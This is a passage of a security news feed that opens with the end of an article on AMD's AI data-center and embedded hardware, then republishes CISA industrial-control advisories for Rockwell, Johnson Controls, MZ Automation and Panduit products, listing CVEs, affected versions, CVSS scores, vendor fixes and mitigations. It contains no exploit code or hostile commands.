    Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.

    Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.

    There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.

    AMD expands its robotics and embedded foundation

    AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.

    The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.

    Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.

    Execution for AMD is now the test

    AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.

    AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.

    As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.

    This article is published as part of the Foundry Expert Contributor Network.
    Want to join?

    ]]>         <![CDATA[Rockwell Automation ThinManager]]> =1...]]> https://tsecurity.de/de/3689943/it-security-nachrichten/rockwell-automation-thinmanager/ https://tsecurity.de/de/3689943/it-security-nachrichten/rockwell-automation-thinmanager/ Thu, 23 Jul 2026 20:17:43 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of this vulnerability could allow an authenticated attacker to write arbitrary files to restricted system directories outside of the application's intended directory.

    The following versions of Rockwell Automation ThinManager are affected:

    • ThinManager >=13.0.0|<13.0.7, >=13.1.0|<13.1.5, >=13.2.0|<13.2.4, >=14.0.0|<14.0.2
    CVSS Vendor Equipment Vulnerabilities
    v3 8.1 Rockwell Automation Rockwell Automation ThinManager Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

    Background

    • Critical Infrastructure Sectors: Chemical, Critical Manufacturing, Energy, Food and Agriculture, Water and Wastewater
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: United States

    Vulnerabilities

    Expand All +

    CVE-2026-11917

    A path traversal security issue exists within Rockwell Automation ThinManager software due to improper limitation of file save operations within the API. An authenticated attacker could exploit this vulnerability to write arbitrary files to restricted system directories outside of the application's intended directory.

    View CVE Details

    Affected Products

    Rockwell Automation ThinManager
    Vendor:
    Rockwell Automation
    Product Version:
    Rockwell Automation ThinManager: >=13.0.0|<13.0.7, Rockwell Automation ThinManager: >=13.1.0|<13.1.5, Rockwell Automation ThinManager: >=13.2.0|<13.2.4, Rockwell Automation ThinManager: >=14.0.0|<14.0.2
    Product Status:
    known_affected
    Remediations

    Mitigation
    Users using the affected software, should upgrade to one of the corrected versions as follows:

    Vendor fix
    ThinManager Versions 13.0.0 - 13.0.7 --> 13.0.8

    Vendor fix
    ThinManager Versions 13.1.0 - 13.1.5 --> 13.1.6

    Vendor fix
    ThinManager Versions 13.2.0 - 13.2.4 --> 13.2.5

    Vendor fix
    ThinManager Versions 14.0.0 - 14.0.2 --> 14.0.3

    Mitigation
    Users using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices.
    https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight

    Mitigation
    For more information, refer to Rockwell Automation's Securitry Advisory page.
    https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html

    Relevant CWE: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.1 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
    4.0 7.2 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

    Acknowledgments

    • Rockwell Automation reported this vulnerability to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    CISA also recommends users take the following measures to protect themselves from social engineering attacks:

    Do not click web links or open attachments in unsolicited email messages.

    Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

    Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

    No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.

    Revision History

    • Initial Release Date: 2026-07-14
    Date Revision Summary
    2026-07-14 1 Initial Publication by Rockwell Automation
    2026-07-21 2 Initial Republication of Rockwell Automation advisory

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Johnson Controls C-CURE 9000 and Victor application server]]> https://tsecurity.de/de/3689942/it-security-nachrichten/johnson-controls-c-cure-9000-and-victor-application-server/ https://tsecurity.de/de/3689942/it-security-nachrichten/johnson-controls-c-cure-9000-and-victor-application-server/ Thu, 23 Jul 2026 20:17:06 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of these vulnerabilities could allow an attacker with network access to achieve remote code execution.

    The following versions of Johnson Controls C-CURE 9000 and Victor application server are affected:

    • C-CURE 9000 and victor <=v2.90_v3.0 
    • victor Web <=v7.1 
    CVSS Vendor Equipment Vulnerabilities
    v3 9.6 Johnson Controls Johnson Controls C-CURE 9000 and Victor application server Server-Side Request Forgery (SSRF), Execution with Unnecessary Privileges

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: Ireland

    Vulnerabilities

    Expand All +

    CVE-2026-21655

    Under certain circumstances, successful exploitation of this vulnerability could allow an unauthenticated attacker on the adjacent network to achieve arbitrary code execution on the C-CURE 9000 or victor application server, as well as connected clients (e.g., workstations of physical security personnel). Such an attack could impact physical security controls.

    View CVE Details

    Affected Products

    Johnson Controls C-CURE 9000 and Victor application server
    Vendor:
    Johnson Controls
    Product Version:
    Johnson Controls C-CURE 9000 and victor: <=v2.90_v3.0
    Product Status:
    known_affected
    Remediations

    Mitigation
    Johnson Controls recommends the following defensive measures to help reduce the risk of exploitation: (CVE-2026-21655) Upgrade to C-CURE 9000 / victor version 3.20 or later, which addresses the vulnerable deserialization path (LV1.1).

    Vendor fix
    Network segmentation - Isolate the C-CURE 9000 and victor application servers on a dedicated network segment and restrict access to port 8999 to only authorized systems that require connectivity.

    Mitigation
    Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.

    Mitigation
    Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.

    Mitigation
    Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.

    Mitigation
    Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.

    Mitigation
    Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.

    Mitigation
    Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.

    Mitigation
    For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories
    https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories

    Relevant CWE: CWE-918 Server-Side Request Forgery (SSRF)

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.8 HIGH CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    4.0 8.7 HIGH CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

    CVE-2026-21653

    Under certain circumstances, successful exploitation of this vulnerability could allow an attacker to forge server-side HTTP requests from the victor Web application. This could be leveraged to interact with internal services running on the host or accessible on the local network, potentially leading to unauthorized information disclosure or lateral movement within the network.

    View CVE Details

    Affected Products

    Johnson Controls C-CURE 9000 and Victor application server
    Vendor:
    Johnson Controls
    Product Version:
    Johnson Controls victor Web: <v7.0
    Product Status:
    known_affected
    Remediations

    Vendor fix
    (CVE-2026-21653, CVE-2026-34496) Update all victor Web installations to version 7.0 or later, which contains the fix for this vulnerability. The fix has been validated through independent retest.

    Mitigation
    Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.

    Mitigation
    Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.

    Mitigation
    Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.

    Mitigation
    Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.

    Mitigation
    Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.

    Mitigation
    Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.

    Mitigation
    For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories
    https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories

    Relevant CWE: CWE-918 Server-Side Request Forgery (SSRF)

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 9.6 CRITICAL CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    4.0 9.4 CRITICAL CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

    CVE-2026-34496

    Under certain circumstances, successful exploitation of this vulnerability could result in low privilege users accessing unauthorized pages such as Users and Logs. Successful exploitation could allow an attacker to view sensitive system information, user account details, and audit logs beyond their intended access level, potentially enabling further attacks or unauthorized administrative actions.

    View CVE Details

    Affected Products

    Johnson Controls C-CURE 9000 and Victor application server
    Vendor:
    Johnson Controls
    Product Version:
    Johnson Controls victor Web: <=v7.1
    Product Status:
    known_affected
    Remediations

    Vendor fix
    (CVE-2026-21653, CVE-2026-34496) Update all victor Web installations to version 7.0 or later, which contains the fix for this vulnerability. The fix has been validated through independent retest.

    Mitigation
    Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.

    Mitigation
    Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.

    Mitigation
    Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.

    Mitigation
    Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.

    Mitigation
    Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.

    Mitigation
    Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.

    Mitigation
    For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories
    https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories

    Relevant CWE: CWE-250 Execution with Unnecessary Privileges

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8 HIGH CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    4.0 8.7 HIGH CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

    Acknowledgments

    • Harrison Neal reported these vulnerabilities to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities. CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    CISA also recommends users take the following measures to protect themselves from social engineering attacks:

    Do not click web links or open attachments in unsolicited email messages.

    Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

    Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

    No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.

    Revision History

    • Initial Release Date: 2026-07-23
    Date Revision Summary
    2026-07-23 1 Initial Republication of Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Johnson Controls XAAP Android]]> https://tsecurity.de/de/3689941/it-security-nachrichten/johnson-controls-xaap-android/ https://tsecurity.de/de/3689941/it-security-nachrichten/johnson-controls-xaap-android/ Thu, 23 Jul 2026 20:17:02 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of this vulnerability could result in an attacker obtaining confidential information from the device.

    The following versions of Johnson Controls XAAP Android are affected:

    • XAAP Android <1.53
    CVSS Vendor Equipment Vulnerabilities
    v3 3.3 Johnson Controls Johnson Controls XAAP Android Cleartext Storage of Sensitive Information

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: Ireland

    Vulnerabilities

    Expand All +

    CVE-2026-34490

    A cleartext storage weakness exists in the Fire Solutions Android application, which stores application data locally on the device without encryption. An attacker with physical access to the device and one able to compromise the device through a separate, unrelated flaw, could potentially read this data in plaintext. Exploitation does not require network access and is limited to the local device environment.

    View CVE Details

    Affected Products

    Johnson Controls XAAP Android
    Vendor:
    Johnson Controls
    Product Version:
    Johnson Controls XAAP Android: <1.53
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Johnson Controls recommends users update the XAAP Android application to version 1.53 or later, which contains the fix for this vulnerability.

    Mitigation
    Johnson Controls recommends users restrict physical access to devices running the XAAP Android application.

    Mitigation
    Johnson Controls recommends users ensure devices are hardened with up-to-date Android OS versions, device encryption enabled, and screen lock protections in place.

    Mitigation
    Johnson Controls recommends users implement a Mobile Device Management (MDM) solution to enforce security policies, including encryption requirements, application whitelisting, and remote wipe capabilities.

    Mitigation
    Johnson Controls recommends users Avoid rooting or jailbreaking devices used in production environments, as this weakens OS-level security controls that help protect local application data.

    Mitigation
    For more detailed mitigation instructions, please see Johnson Controls Product Security Advisory JCI-PSA-2026-10.

    Relevant CWE: CWE-312 Cleartext Storage of Sensitive Information

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 3.3 LOW CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    4.0 4.8 MEDIUM CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

    Acknowledgments

    • Johnson Controls reported this vulnerability to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time. This vulnerability is not exploitable remotely.

    Revision History

    • Initial Release Date: 2026-07-23
    Date Revision Summary
    2026-07-23 1 Initial Republication of Johnson Controls JCI-PSA-2026-10

    Legal Notice and Terms of Use

    ]]>         <![CDATA[MZ Automation libIEC61850]]> https://tsecurity.de/de/3689940/it-security-nachrichten/mz-automation-libiec61850/ https://tsecurity.de/de/3689940/it-security-nachrichten/mz-automation-libiec61850/ Thu, 23 Jul 2026 20:16:58 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of these vulnerabilities could allow an unauthenticated network-adjacent attacker to crash critical IEC 61850 services or execute arbitrary code, disrupting or compromising protection, visibility, and control functions.

    The following versions of MZ Automation libIEC61850 are affected:

    • libIEC61850 >=v1.0.0|<=v1.6.1 
    CVSS Vendor Equipment Vulnerabilities
    v3 8.1 MZ Automation MZ Automation libIEC61850 Stack-based Buffer Overflow, Heap-based Buffer Overflow, Improper Handling of Syntactically Invalid Structure, NULL Pointer Dereference

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing, Energy, Transportation Systems
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: Germany

    Vulnerabilities

    Expand All +

    CVE-2026-50039

    The affected product is vulnerable to a stack-based buffer overflow, which may allow an attacker to cause a memory corruption via a ReadRequest.

    View CVE Details

    Affected Products

    MZ Automation libIEC61850
    Vendor:
    MZ Automation
    Product Version:
    MZ Automation libIEC61850: >=v1.0.0|<=v1.6.1
    Product Status:
    known_affected
    Remediations

    Vendor fix
    MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.
    https://github.com/mz-automation/libiec61850

    Relevant CWE: CWE-121 Stack-based Buffer Overflow

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    4.0 8.7 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

    CVE-2026-49035

    The affected product is vulnerable to a heap-based buffer overflow via a crafted MMS Initiate request. Remote code execution (RCE) has been demonstrated when ASLR is disabled; memory corruption or denial of service may occur in configurations where ASLR is enabled.

    View CVE Details

    Affected Products

    MZ Automation libIEC61850
    Vendor:
    MZ Automation
    Product Version:
    MZ Automation libIEC61850: >=v1.0.0|<=v1.6.1
    Product Status:
    known_affected
    Remediations

    Vendor fix
    MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.
    https://github.com/mz-automation/libiec61850

    Relevant CWE: CWE-122 Heap-based Buffer Overflow

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.1 HIGH CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    4.0 9.2 CRITICAL CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

    CVE-2026-50103

    A NULL pointer dereference in the L2 GOOSE and R-GOOSE shared parser, which may allow a network-adjacent attacker to crash a subscribing application by sending a crafted GOOSE frame containing a malformed TLV value.

    View CVE Details

    Affected Products

    MZ Automation libIEC61850
    Vendor:
    MZ Automation
    Product Version:
    MZ Automation libIEC61850: >=v1.0.0|<=v1.6.1
    Product Status:
    known_affected
    Remediations

    Vendor fix
    MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.
    https://github.com/mz-automation/libiec61850

    Relevant CWE: CWE-228 Improper Handling of Syntactically Invalid Structure

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.5 MEDIUM CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    4.0 7.1 HIGH CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

    CVE-2026-50032

    A NULL pointer dereference in the MMS Write Named Variable List handler, which may allow a network adjacent attacker to crash the server by sending a WriteRequest with an empty listOfData field.

    View CVE Details

    Affected Products

    MZ Automation libIEC61850
    Vendor:
    MZ Automation
    Product Version:
    MZ Automation libIEC61850: >=v1.0.0|<=v1.6.1
    Product Status:
    known_affected
    Remediations

    Vendor fix
    MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.
    https://github.com/mz-automation/libiec61850

    Relevant CWE: CWE-476 NULL Pointer Dereference

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    4.0 8.7 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

    Acknowledgments

    • Abhinav Agarwal reported these vulnerabilities to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    CISA also recommends users take the following measures to protect themselves from social engineering attacks:

    Do not click web links or open attachments in unsolicited email messages.

    Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

    Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

    No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.

    Revision History

    • Initial Release Date: 2026-07-23
    Date Revision Summary
    2026-07-23 1 Initial Publication

    Legal Notice and Terms of Use

    ]]>         <![CDATA[MZ Automation lib60870]]> https://tsecurity.de/de/3689939/it-security-nachrichten/mz-automation-lib60870/ https://tsecurity.de/de/3689939/it-security-nachrichten/mz-automation-lib60870/ Thu, 23 Jul 2026 20:16:52 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of this vulnerability could cause the parsing process to crash, which will cause a denial of service.

    The following versions of MZ Automation lib60870 are affected:

    • lib60870 <=2.4.0
    CVSS Vendor Equipment Vulnerabilities
    v3 8.2 MZ Automation MZ Automation lib60870 Out-of-bounds Read

    Background

    • Critical Infrastructure Sectors: Chemical, Energy, Water and Wastewater
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: Germany

    Vulnerabilities

    Expand All +

    CVE-2026-16002

    The affected product is vulnerable to an Out-of-bounds read, which may allow an attacker to crash the parsing process and cause a denial of service.

    View CVE Details

    Affected Products

    MZ Automation lib60870
    Vendor:
    MZ Automation
    Product Version:
    MZ Automation lib60870: <=2.4.0
    Product Status:
    known_affected
    Remediations

    Vendor fix
    MZ automation recommends users update to version 2.4.1 or later. Documentation can be found at https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv.
    https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv

    Relevant CWE: CWE-125 Out-of-bounds Read

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.2 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
    4.0 8.8 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N

    Acknowledgments

    • Lars Tray reported this vulnerability to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of this (these) vulnerability(ies).

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    CISA also recommends users take the following measures to protect themselves from social engineering attacks:

    Do not click web links or open attachments in unsolicited email messages.

    Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

    Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

    No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.

    Revision History

    • Initial Release Date: 2026-07-23
    Date Revision Summary
    2026-07-23 1 Initial Publication

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Panduit IntraVUE]]> https://tsecurity.de/de/3689938/it-security-nachrichten/panduit-intravue/ https://tsecurity.de/de/3689938/it-security-nachrichten/panduit-intravue/ Thu, 23 Jul 2026 20:16:33 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of these vulnerabilities could allow an attacker with access to the IT network to manipulate industrial control devices without requiring physical access, specialized insider knowledge, or advanced tooling.

    The following versions of Panduit IntraVUE are affected:

    • IntraVUE <=3.2.1a14 
    CVSS Vendor Equipment Vulnerabilities
